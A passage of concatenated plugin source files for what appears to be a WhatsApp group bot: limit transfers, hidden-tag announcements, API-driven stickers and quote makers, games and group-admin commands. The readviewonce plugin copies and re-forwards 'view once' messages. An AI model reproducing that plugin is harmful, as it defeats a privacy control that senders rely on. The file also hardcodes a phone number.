require('@adiwajshing/baileys') 2 | let pajak = 0.02 3 | let handler = async (m, { conn, text }) => { 4 | let who 5 | if (m.isGroup) who = m.mentionedJid[0] 6 | else who = m.chat 7 | if (!who) throw 'Tag one' 8 | let txt = text.replace('@' + who.split`@`[0], '').trim() 9 | if (!txt) throw 'Enter the amount of Limit to be given' 10 | if (isNaN(txt)) throw 'only numbers' 11 | let poin = parseInt(txt) 12 | let limit = poin 13 | let pjk = Math.ceil(poin * pajak) 14 | limit += pjk 15 | if (limit < 1) throw 'Minimal 1' 16 | let users = global.db.data.users 17 | if (limit > users[m.sender].limit) throw 'Insufficient limit to transfer' 18 | users[m.sender].limit -= limit 19 | users[who].limit += poin 20 | 21 | m.reply(`(${-poin} Limit) + (${-pjk} Limit (Pajak 2%)) = ( ${-limit} Limit)`) 22 | conn.fakeReply(m.chat, `+${poin} Limit`, who, m.text) 23 | } 24 | handler.help = ['paylimit @user <amount>'] 25 | handler.tags = ['xp'] 26 | handler.command = /^paylimit$/ 27 | handler.rowner = false 28 | 29 | module.exports = handler 30 | 31 | -------------------------------------------------------------------------------- /plugins/pengumuman.js: -------------------------------------------------------------------------------- 1 | const { MessageType } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn, text, participants }) => { 4 | let users = participants.map(u => u.jid) 5 | let q = m.quoted ? m.quoted : m 6 | let c = m.quoted ? m.quoted : m.msg 7 | let msg = conn.cMod( 8 | m.chat, 9 | conn.prepareMessageFromContent( 10 | m.chat, 11 | { [c.toJSON ? q.mtype : MessageType.extendedText]: c.toJSON ? c.toJSON() : { 12 | text: c || '' 13 | } }, 14 | { 15 | contextInfo: { 16 | mentionedJid: users 17 | }, 18 | quoted: m 19 | } 20 | ), 21 | text || q.text 22 | ) 23 | await conn.relayWAMessage(msg) 24 | } 25 | handler.help = ['hidetag/announce'].map(v => v + ' [teks]') 26 | handler.tags = ['group'] 27 | handler.command = /^(announcement|announce|hiddentag|hidetag)$/i 28 | 29 | handler.group = true 30 | handler.admin = true 31 | 32 | module.exports = handler 33 | 34 | -------------------------------------------------------------------------------- /plugins/pickk.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { text, args, participants }) => { 2 | if (args[0] < 0, args.length < 2) throw 'Example: #pick 15 gay' 3 | let users = participants.map(u => u.jid) 4 | m.reply(`*You are Picked as ${text.replace(args, '').trimStart()}* 5 | 6 | ${new Array(Math.min(users.length, args[0])).fill().map(() => { 7 | let index = Math.floor(Math.random() * users.length) 8 | return `@${users.splice(index, 1)}` 9 | }).join`\n`.replace(/@s.whatsapp.net/g,'')}`) 10 | } 11 | handler.help = ['pick <amount> <text>'] 12 | handler.tag = ['fun'] 13 | handler.command = /^pick/i 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/pikachu.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | const { sticker } = require('../lib/sticker') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async(m, { conn }) => { 6 | let res = await fetch(global.API('https://some-random-api.ml', '/img/pikachu')) 7 | let json = await res.json() 8 | let stiker = await sticker(null, json.link, global.packname, global.author) 9 | if (stiker) return conn.sendMessage(m.chat, stiker, MessageType.sticker, { 10 | quoted: m 11 | }) 12 | throw stiker.toString() 13 | } 14 | handler.help = ['pikachu'] 15 | handler.tags = ['anime'] 16 | handler.command = /^pikachu/i 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/pinterest.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async(m, { conn, text, usedPrefix, command }) => { 3 | if (!text) throw `Example: ${usedPrefix + command} minecraft` 4 | let res = await fetch(global.API('zeks', '/api/pinimg', { 5 | q: encodeURI(text) 6 | }, 'apikey')) 7 | if (!res.ok) throw await `${res.status} ${res.statusText}` 8 | let json = await res.json() 9 | if (!json.status) throw json 10 | let pint = json.data[Math.floor(Math.random() * json.data.length)]; 11 | conn.sendFile(m.chat, pint, '', ` 12 | *Search result* 13 | ${text} 14 | `.trim(), m) 15 | } 16 | handler.help = ['pinterest <keyword>'] 17 | handler.tags = ['internet'] 18 | handler.command = /^(pinterest)$/i 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/poly.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | let handler = async (m, { conn, text }) => { 3 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 4 | await conn.sendFile(m.chat, global.API('xteam', '/videomaker/poly', { text: teks }, 'APIKEY'), 'poly.mp4', teks, m) 5 | } 6 | handler.help = ['poly'].map((v) => v + " <text>") 7 | handler.tags = ['videomaker'] 8 | 9 | handler.command = /^poly$/i 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/ppcouple.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | 3 | let handler = async (m, { conn }) => { 4 | let res = await fetch(global.API('LeysCoder', '/api/ppcouple', {}, 'apikey')) 5 | if (!res.ok) throw await res.text() 6 | let json = await res.json() 7 | if (!json.status) throw json 8 | await conn.sendFile(m.chat, json.result.male, '', 'boy', m) 9 | await conn.sendFile(m.chat, json.result.female, '', 'girl', m) 10 | } 11 | handler.help = ['ppcouple/ppcp'] 12 | handler.tags = ['anime'] 13 | handler.command = /^(pp(cp|couple))$/i 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/promote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => !member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupMakeAdmin(m.chat, [user]).catch(console.log) 5 | } 6 | handler.help = ['promote/admin/^/↑'].map(v => v + ' @user') 7 | handler.tags = ['admin'] 8 | 9 | handler.command = /^(promote|admin|\^|↑)$/i 10 | 11 | handler.group = true 12 | 13 | handler.admin = true 14 | handler.botAdmin = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/qrcode.js: -------------------------------------------------------------------------------- 1 | let qrcode = require("qrcode") 2 | 3 | let handler = async (m, { conn, text }) => { 4 | conn.sendFile(m.chat, await qrcode.toDataURL(text.slice(0, 2048), { scale: 8 }), 'qrcode.png', '¯\\_(ツ)_/¯', m) 5 | } 6 | handler.help = ['', 'code'].map(v => 'qr' + v + ' <teks>') 7 | handler.tags = ['tools'] 8 | handler.command = /^qr(code)?$/i 9 | handler.owner = false 10 | handler.mods = false 11 | handler.premium = false 12 | handler.group = false 13 | handler.private = false 14 | 15 | handler.admin = false 16 | handler.botAdmin = false 17 | 18 | handler.fail = null 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/quotemaker.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let [teks, wm] = text.split`|` 3 | await conn.sendFile(m.chat, global.API('xteam', '/quotemaker', { text: teks, wm: wm ? wm : conn.getName(m.sender) }, 'APIKEY'), 'file.jpg', 'Here', m) 4 | } 5 | handler.help = ['quote'].map(v => v + 'maker <teks>|<wm>') 6 | handler.tags = ['nulis'] 7 | handler.command = /^quotemaker$/i 8 | 9 | handler.limit = true 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/quotemaker2.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async(m, { conn, text, usedPrefix, command}) => { 3 | let [q, n] = text.split `|` 4 | if (!q) throw `Type ${usedPrefix + command} <teks | author>` 5 | let user = global.db.data.users[m.sender].name 6 | let name = n ? n : user ? user : await conn.getName(m.sender) 7 | let res = await fetch(`https://terhambar.com/aw/qts/?kata=${q}&author=${name}&tipe=random`) 8 | if (res.status !==200) throw 'Server error' 9 | let json = await res.json() 10 | await conn.sendFile(m.chat, json.result, 'q.jpg', '©DONE', m) 11 | } 12 | handler.help = ['quotemaker2 <teks | wm>'] 13 | handler.tags = ['nulis'] 14 | handler.command = /^q(uote)?maker?2$/i 15 | handler.limit = true 16 | //MadeByLeviBot 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/reactions.js: -------------------------------------------------------------------------------- 1 | let handler = async ( m, {usedPrefix} ) => m.reply(` 2 | 🎴 *OPTIONS:* 3 | 💫Cry 4 | 💫Kiss 5 | 💫Bully 6 | 💫Hug 7 | 💫Lick 8 | 💫Cuddle 9 | 💫Pat 10 | 💫Smug 11 | 💫Highfive 12 | 💫Bonk 13 | 💫Yeet 14 | 💫Blush 15 | 💫Wave 16 | 💫Smile 17 | 💫Handhold 18 | 💫Nom 19 | 💫Bite 20 | 💫Glomp 21 | 💫Kill 22 | 💫Slap 23 | 💫Cringe 24 | 💫Kick 25 | 💫Wink 26 | 💫Happy 27 | 💫Poke 28 | 💫Dance 29 | 🏮 *Usage example:* ${usedPrefix}pat @user/quote user 30 | `.trim()) 31 | handler.help = ['reactions'] 32 | handler.tags = ['fun'] 33 | handler.command = /^(reactions|reaction|react|r)$/i 34 | 35 | module.exports = handler 36 | -------------------------------------------------------------------------------- /plugins/readmore.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let [ l, r ] = text.split`|` 3 | if (!l) l = '' 4 | if (!r) r = '' 5 | conn.reply(m.chat, l + readMore + r, m) 6 | } 7 | handler.help = ['readmore/spoiler'].map(v => v + ' <teks>|<teks>') 8 | handler.tags = ['tools'] 9 | handler.command = /^(spoiler|hidetext|readmore|selengkapnya)$/i 10 | handler.owner = false 11 | handler.mods = false 12 | handler.premium = false 13 | handler.group = false 14 | handler.private = false 15 | 16 | handler.admin = false 17 | handler.botAdmin = false 18 | 19 | handler.fail = null 20 | 21 | module.exports = handler 22 | 23 | const more = String.fromCharCode(8206) 24 | const readMore = more.repeat(4001) 25 | -------------------------------------------------------------------------------- /plugins/readviewonce.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!m.quoted) return conn.sendMessage(m.chat, 'where\'s message?', 'conversation') 3 | if (m.quoted.mtype !== 'viewOnceMessage') throw 'That\'s not a viewonce message' 4 | await conn.copyNForward(m.chat, await conn.loadMessage(m.chat, m.quoted.id), false, { readViewOnce: true }).catch(_ => m.reply('Maybe it\'s been opened by a bot')) 5 | } 6 | 7 | handler.help = ['readviewonce'] 8 | handler.tags = ['tools'] 9 | 10 | handler.command = /^readviewonce/i 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/register.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require('crypto') 2 | let Reg = /\|?(.*)([.|] *?)([0-9]*)$/i 3 | let handler = async function (m, { text, usedPrefix }) { 4 | let user = global.db.data.users[m.sender] 5 | if (user.registered === true) throw `You are already registered\nWant to re-register? ${usedPrefix}unreg <SN|SERIAL NUMBER>` 6 | if (!Reg.test(text)) throw `Incorrect format\n*${usedPrefix}register name.age*` 7 | let [_, name, splitter, age] = text.match(Reg) 8 | if (!name) throw 'Name cannot be empty (Alphanumeric)' 9 | if (!age) throw 'Age cannot be empty (number)' 10 | age = parseInt(age) 11 | if (age > 120) throw 'Age too old 😂' 12 | if (age < 5) throw 'Age too low ._.' 13 | user.name = name.trim() 14 | user.age = age 15 | user.regTime = + new Date 16 | user.registered = true 17 | let sn = createHash('md5').update(m.sender).digest('hex') 18 | m.reply(` 19 | Register successfully! 20 | 21 | ╭─「 Info 」 22 | │ Name: ${name} 23 | │ Age: ${age} 24 | │ SN: ${sn} 25 | ╰──── 26 | `.trim()) 27 | } 28 | handler.help = ['reg/register'].map(v => v + ' <name>.<age>') 29 | handler.tags = ['exp'] 30 | 31 | handler.command = /^(daftar|reg(ister)?)$/i 32 | 33 | module.exports = handler 34 | 35 | -------------------------------------------------------------------------------- /plugins/report.js: -------------------------------------------------------------------------------- 1 | // By RC047 :V 2 | 3 | let handler = async(m, { conn, text }) => { 4 | if (!text) throw 'Please enter a report' 5 | if (text.length > 300) throw 'Sorry Text Too Long, Maximum 300 Texts!' 6 | const laporan = `*「 REPORT 」*\nNumber : wa.me/${m.sender.split`@`[0]}\nMessage : ${text}` 7 | for (let jid of global.owner.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').filter(v => v != conn.user.jid && v != '6281515860089@s.whatsapp.net')) 8 | m.reply(laporan, jid) 9 | m.reply(laporan, m.sender) // Mwehehehehe 10 | m.reply('✔️The problem has been reported to the Bot\'s Owner, false reports will not be responded to!') 11 | } 12 | handler.help = ['bug/report'].map(v => v + ' <issue>') 13 | handler.tags = ['info'] 14 | handler.command = /^(bug|report)$/i 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/resetprefix.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn }) => { 2 | 3 | global.prefix = new RegExp('^[' + (opts['prefix'] || '‎xzXZ/i!#$%+£¢€¥^°=¶∆×÷π√✓©®:;?&.\\-').replace(/[|\\{}()[\]^$+*?.\-\^]/g, '\\$&') + ']') 4 | await m.reply(`Prefix successfully reset`) 5 | // conn.fakeReply(m.chat, 'Prefix successfully reset', '0@s.whatsapp.net', 'Reset Prefix') 6 | } 7 | handler.help = ['resetprefix'] 8 | handler.tags = ['owner'] 9 | handler.command = /^(resetprefix)$/i 10 | handler.rowner = true 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/retro.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | let handler = async (m, { conn, text }) => { 3 | let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text 4 | await conn.sendFile(m.chat, global.API('xteam', '/videomaker/retro', { text: teks }, 'APIKEY'), 'retro.mp4', teks, m) 5 | } 6 | handler.help = ['retro'].map((v) => v + " <text>") 7 | handler.tags = ['videomaker'] 8 | 9 | handler.command = /^retro$/i 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/revoke.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args, usedPrefix }) => { 2 | let res = await conn.revokeInvite(m.chat) 3 | m.reply('Group link has been successfully reset!\n\nNew Link:\nhttps://chat.whatsapp.com/' + res.code) 4 | } 5 | handler.help = ['revoke'] 6 | handler.tags = ['group'] 7 | handler.command = /^re(voke|new)(invite|link)?$/i 8 | handler.group = true 9 | 10 | handler.admin = true 11 | handler.botAdmin = true 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/rules.js: -------------------------------------------------------------------------------- 1 | let handler = async m => m.reply(` 2 | 🏮 *BOT RULES* 3 | 4 | 🔖 _Do not call bot, if you do then you'll get automatically blocked by bot._ 5 | 6 | 🔖 _Do not spam bot with commands, if bot is not responding then it means either bot is off or there's internet issue at owner's end._ 7 | 8 | 🔖 _Do not abuse/disrespect bot and its owner._ 9 | 10 | 🔖 _If you see any bug/error in bot then report it to owner with the command !bug/report <problem>._ 11 | 12 | 🔖 _If you want this bot in your group then contact owner by typing !owner/creator._ 13 | 14 | 🔖 _Enjoy the bot and have fun._ 15 | `.trim()) // Tambah sendiri kalo mau 16 | handler.help = ['rules'] 17 | handler.tags = ['info'] 18 | handler.command = /^rules$/i 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/sendquote.js: -------------------------------------------------------------------------------- 1 | async function handler(m) { 2 | if (!m.quoted) throw 'reply message!' 3 | let q = this.serializeM(await m.getQuotedObj()) 4 | if (!q.quoted) throw 'the message you replied does not contain a reply!' 5 | await q.quoted.copyNForward(m.chat, true) 6 | } 7 | handler.command = /^q$/i 8 | handler.tags = ['tools'] 9 | module.exports = handler 10 | -------------------------------------------------------------------------------- /plugins/setCmdWithMedia.js: -------------------------------------------------------------------------------- 1 | module.exports = Object.assign(async function handler(m, { text }) { 2 | global.db.data.sticker = global.db.data.sticker || {} 3 | if (!m.quoted) throw 'Reply Message!' 4 | if (!m.quoted.fileSha256) throw 'SHA256 Hash Missing' 5 | if (!text) throw `Tidak ada teks` 6 | let sticker = global.db.data.sticker 7 | let hash = m.quoted.fileSha256.toString('hex') 8 | if (sticker[hash] && sticker[hash].locked) throw 'You have no permission to change this sticker command' 9 | sticker[hash] = { 10 | text, 11 | mentionedJid: m.mentionedJid, 12 | creator: m.sender, 13 | at: + new Date, 14 | locked: false, 15 | } 16 | m.reply(`Done!`) 17 | }, { 18 | help: ['cmd'].map(v => 'set' + v + ' <text>'), 19 | tags: ['database'], 20 | command: ['setcmd'] 21 | }) 22 | -------------------------------------------------------------------------------- /plugins/setProfileGroup.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix, command }) => { 2 | let q = m.quoted ? m.quoted : m 3 | let mime = (q.msg || q).mimetype || '' 4 | if (/image/.test(mime)) { 5 | let img = await q.download() 6 | if (!img) throw 'Image not found' 7 | await conn.updateProfilePicture(m.chat, img) 8 | } else throw `send/reply image with caption *${usedPrefix + command}*` 9 | } 10 | handler.help = ['setpp'] 11 | handler.tags = ['group'] 12 | 13 | handler.command = /^setpp$/i 14 | 15 | handler.group = true 16 | handler.admin = true 17 | handler.botAdmin = true 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/setbotbio.js: -------------------------------------------------------------------------------- 1 | // NurNurz 2 | let handler = async (m, { conn, text }) => { 3 | if (!text) throw `Enter Text For New Bio Bot` 4 | try { 5 | await conn.setStatus(text) 6 | conn.reply(m.chat, 'Success in Changing Bio Bot', m) 7 | } catch (e) { 8 | console.log(e) 9 | throw `Error` 10 | } 11 | } 12 | handler.help = ['setbotbio'] 13 | handler.tags = ['owner'] 14 | handler.command = /^(setbotbio)$/i 15 | handler.owner = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/setbotname.js: -------------------------------------------------------------------------------- 1 | // NurNurz 2 | let handler = async (m, { conn, text }) => { 3 | if (!text) throw `Enter New Name For Bot` 4 | try { 5 | await conn.updateProfileName(text) 6 | conn.reply(m.chat, 'Success in Renaming Bot', m) 7 | } catch (e) { 8 | console.log(e) 9 | throw `Error` 10 | } 11 | } 12 | handler.help = ['setbotname'] 13 | handler.tags = ['owner'] 14 | handler.command = /^(setbotname)$/i 15 | handler.owner = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/setbotpp.js: -------------------------------------------------------------------------------- 1 | /* 2 | Silahkan Di Pakek 3 | Tapi Bantu Rapihin :v 4 | Buatan: Miaweers 5 | */ 6 | 7 | let handler = async (m, { conn, args }) => { 8 | let bot = conn.user.jid // Bot 9 | let q = m.quoted ? m.quoted : m 10 | let mime = (q.msg || q).mimetype || '' 11 | if (/image/.test(mime)) { 12 | let img = await q.download() 13 | if (!img) throw `Photo not found` 14 | conn.updateProfilePicture (bot, img) 15 | conn.reply(m.chat, 'Success in Changing Bot\'s Profile Photo!', m) 16 | } 17 | } 18 | handler.help = ['setbotpp'] 19 | handler.tags = ['owner'] 20 | handler.command = /^(setbotpp)$/i 21 | handler.owner = true 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/setbye.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text, isROwner, isOwner }) => { 2 | if (text) { 3 | if (isROwner) global.conn.bye = text 4 | else if (isOwner) conn.bye = text 5 | global.db.data.chats[m.chat].sBye = text 6 | m.reply('Bye successfully set\n@user (Mention)') 7 | } else throw 'Where\'s the text??' 8 | } 9 | handler.help = ['setbye <teks>'] 10 | handler.tags = ['group'] 11 | 12 | handler.command = /^setbye$/i 13 | module.exports = handler 14 | 15 | -------------------------------------------------------------------------------- /plugins/setdesk_gc.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | await conn.groupUpdateDescription(m.chat, `${args.join(" ")}`); 3 | m.reply('Successfully changed the group description') 4 | } 5 | 6 | handler.help = ['setdesk <text>'] 7 | handler.tags = ['group'] 8 | handler.command = /^setdesk$/i 9 | handler.owner = false 10 | handler.mods = false 11 | handler.premium = false 12 | handler.group = true 13 | handler.private = false 14 | handler.register = false 15 | handler.admin = true 16 | handler.botAdmin = true 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/setname_gc.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args, usedPrefix, command }) => { 2 | 3 | await conn.groupUpdateSubject(m.chat, `${args.join(" ")}`); 4 | m.reply('Success in changing group name') 5 | } 6 | 7 | handler.help = ['setname <text>'] 8 | handler.tags = ['group'] 9 | handler.command = /^setname$/i 10 | handler.owner = false 11 | handler.mods = false 12 | handler.premium = false 13 | handler.group = true 14 | handler.private = false 15 | handler.register = false 16 | handler.admin = true 17 | handler.botAdmin = true 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/setprefixbot.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn, text }) => { 2 | if (!text) throw `No Prefix detected...` 3 | global.prefix = new RegExp('^[' + (text || global.opts['prefix'] || '‎xzXZ/i!#$%+£¢€¥^°=¶∆×÷π√✓©®:;?&.\\-').replace(/[|\\{}()[\]^$+*?.\-\^]/g, '\\$&') + ']') 4 | await m.reply(`Prefix has been changed to *${text}*`) 5 | // conn.fakeReply(m.chat, 'Prefix has been changed to *${text}*', '0@s.whatsapp.net', 'Set Prefix Bot') 6 | } 7 | handler.help = ['setprefix'].map(v => v + ' [prefix]') 8 | handler.tags = ['owner'] 9 | handler.command = /^(setprefix)$/i 10 | 11 | handler.rowner = true 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/setwelcome.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text, isROwner, isOwner }) => { 2 | if (text) { 3 | if (isROwner) global.conn.welcome = text 4 | else if (isOwner) conn.welcome = text 5 | global.db.data.chats[m.chat].sWelcome = text 6 | m.reply('Welcome set successfully\n@user (Mention)\n@subject (Group Title)\n@desc (Group Description)') 7 | } else throw 'Where\'s the text??' 8 | } 9 | handler.help = ['setwelcome <teks>'] 10 | handler.tags = ['group'] 11 | 12 | handler.command = /^setwelcome$/i 13 | module.exports = handler 14 | 15 | -------------------------------------------------------------------------------- /plugins/shaun_the_sheep_photo.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | let handler = async (m) => { 3 | let q = m.quoted ? m.quoted : m 4 | let mime = (q.msg || q).mimetype || '' 5 | if (!mime) throw 'No media found' 6 | let media = await q.download() 7 | let url = await uploadImage(media) 8 | await conn.sendFile(m.chat, global.API('xteam', '/videomaker/shaunthesheep', { url }, 'APIKEY'), 'shaunthesheep.mp4', 'don\'t be sad...', m) 9 | } 10 | handler.help = ['shaunthesheep/sss'] 11 | handler.tags = ['maker'] 12 | 13 | handler.command = /^(shaunthesheep|sss)$/i 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/siapakahaku.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | 3 | let timeout = 120000 4 | let poin = 500 5 | let handler = async (m, { conn, usedPrefix }) => { 6 | conn.siapakahaku = conn.siapakahaku ? conn.siapakahaku : {} 7 | let id = m.chat 8 | if (id in conn.siapakahaku) { 9 | conn.reply(m.chat, 'Masih ada soal belum terjawab di chat ini', conn.siapakahaku[id][0]) 10 | throw false 11 | } 12 | let res = await fetch(global.API('xteam', '/game/siapakahaku', {}, 'APIKEY')) 13 | if (res.status !== 200) throw await res.text() 14 | let json = await res.json() 15 | if (!json.status) throw json 16 | let caption = ` 17 | Siapakah aku? ${json.result.soal} 18 | 19 | Timeout *${(timeout / 1000).toFixed(2)} detik* 20 | Ketik ${usedPrefix}who untuk bantuan 21 | Bonus: ${poin} XP 22 | `.trim() 23 | conn.siapakahaku[id] = [ 24 | await conn.reply(m.chat, caption, m), 25 | json, poin, 26 | setTimeout(() => { 27 | if (conn.siapakahaku[id]) conn.reply(m.chat, `Waktu habis!\nJawabannya adalah *${json.result.jawaban}*`, conn.siapakahaku[id][0]) 28 | delete conn.siapakahaku[id] 29 | }, timeout) 30 | ] 31 | } 32 | handler.help = ['siapakahaku'] 33 | handlertags = ['game'] 34 | handler.command = /^siapa(kah)?aku/i 35 | 36 | module.exports = handler 37 | -------------------------------------------------------------------------------- /plugins/siapakahaku_ans.js: -------------------------------------------------------------------------------- 1 | const similarity = require('similarity') 2 | const threshold = 0.72 3 | let handler = m => m 4 | handler.before = async function (m) { 5 | let id = m.chat 6 | if (!m.quoted || !m.quoted.fromMe || !m.quoted.isBaileys || !/Ketik.*who/i.test(m.quoted.text)) return !0 7 | this.siapakahaku = this.siapakahaku ? this.siapakahaku : {} 8 | if (!(id in this.siapakahaku)) return m.reply('Soal itu telah berakhir') 9 | if (m.quoted.id == this.siapakahaku[id][0].id) { 10 | let json = JSON.parse(JSON.stringify(this.siapakahaku[id][1])) 11 | // m.reply(JSON.stringify(json, null, '\t')) 12 | if (m.text.toLowerCase() == json.result.jawaban.toLowerCase().trim()) { 13 | global.db.data.users[m.sender]. 14 | exp += this.siapakahaku[id][2] 15 | m.reply(`*Benar!*\n+${this.siapakahaku[id][2]} XP`) 16 | clearTimeout(this.siapakahaku[id][3]) 17 | delete this.siapakahaku[id] 18 | } else if (similarity(m.text.toLowerCase(), json.result.jawaban.toLowerCase().trim()) >= threshold) m.reply(`*Dikit Lagi!*`) 19 | else m.reply(`*Salah!*`) 20 | } 21 | return !0 22 | } 23 | handler.exp = 0 24 | 25 | module.exports = handler 26 | -------------------------------------------------------------------------------- /plugins/siapakahaku_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.siapakahaku = conn.siapakahaku ? conn.siapakahaku : {} 3 | let id = m.chat 4 | if (!(id in conn.siapakahaku)) throw false 5 | let json = conn.siapakahaku[id][1] 6 | let ans = json.result.jawaban 7 | let clue = ans.replace(/[bcdfghjklmnpqrstvwxyz]/g, '_') 8 | m.reply('```' + clue + '```') 9 | } 10 | handler.command = /^who$/i 11 | handler.limit = true 12 | module.exports = handler -------------------------------------------------------------------------------- /plugins/simpcard.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 3 | conn.sendFile(m.chat, global.API('https://some-random-api.ml', '/canvas/simpcard', { 4 | avatar: await conn.getProfilePicture(who).catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'), 5 | }), 'simpcard.png', 'simp', m) 6 | } 7 | 8 | handler.help = ['simpcard'] 9 | handler.tags = ['maker'] 10 | 11 | handler.command = /^(simpcard)$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/simsimi.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | let res = await fetch(global.API('https://api.simsimi.net', '/v2/', { text: encodeURIComponent(text), lc: "en" }, '')) 4 | let json = await res.json() 5 | if (json.success) m.reply(json.success) 6 | else throw json 7 | } 8 | handler.help = ['bot'].map(v => v + ' <teks>') 9 | handler.tags = ['fun'] 10 | handler.command = /^(bot|simi)$/i 11 | 12 | module.exports = handler 13 | 14 | -------------------------------------------------------------------------------- /plugins/simulate.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args: [event], text }) => { 2 | let mentions = text.replace(event, '').trimStart() 3 | let who = mentions ? conn.parseMention(mentions) : [] 4 | let participants = who.length ? who : [m.sender] 5 | let action = false 6 | m.reply(`Simulating ${event}...`) 7 | switch (event.toLowerCase()) { 8 | case 'add': 9 | case 'invite': 10 | case 'welcome': 11 | action = 'add' 12 | break 13 | case 'bye': 14 | case 'kick': 15 | case 'leave': 16 | case 'remove': 17 | action = 'remove' 18 | break 19 | case 'promote': 20 | action = 'promote' 21 | break 22 | case 'demote': 23 | action = 'demote' 24 | break 25 | case 'delete': 26 | deleted = m 27 | break 28 | default: throw `List Event: welcome, bye, delete, promote, demote` 29 | } 30 | if (action) return conn.onParticipantsUpdate({ 31 | jid: m.chat, 32 | participants, 33 | action 34 | }) 35 | return conn.onDelete(m) 36 | } 37 | handler.help = ['simulate <event> [@mention]'] 38 | handler.tags = ['owner', 'group'] 39 | 40 | handler.command = /^simulate$/i 41 | module.exports = handler 42 | 43 | -------------------------------------------------------------------------------- /plugins/sjail.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../lib/uploadImage') 2 | const { sticker } = require('../lib/sticker') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn, text }) => { 6 | try { 7 | let q = m.quoted ? m.quoted : m 8 | let mime = (q.msg || q).mimetype || '' 9 | if (!mime) throw 'No picture' 10 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Meme ${mime} not supported` 11 | let img = await q.download() 12 | let url = await uploadImage(img) 13 | let wanted = global.API('dzx', '/api/canvas/wanted', { url }) //`https://api.dhamzxploit.my.id/api/canvas/wanted?url=${url}` 14 | let stiker = await sticker(null, wanted, 'jail', '©games-wabot') 15 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 16 | quoted: m 17 | }) 18 | } catch (e) { 19 | m.reply('Conversion Failed') 20 | } 21 | } 22 | handler.help = ['jail'] 23 | handler.tags = ['sticker'] 24 | handler.command = /^jail$/i 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/smule.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | if (!args[0]) throw 'Uhm...where is the URL?' 3 | global.API('xteam', '/dl/smule', { 4 | url: args[0] 5 | }, 'APIKEY') 6 | conn.sendFile(m.chat, undefined, '', '', m) 7 | } 8 | handler.help = ['smule'].map(v => v + ' 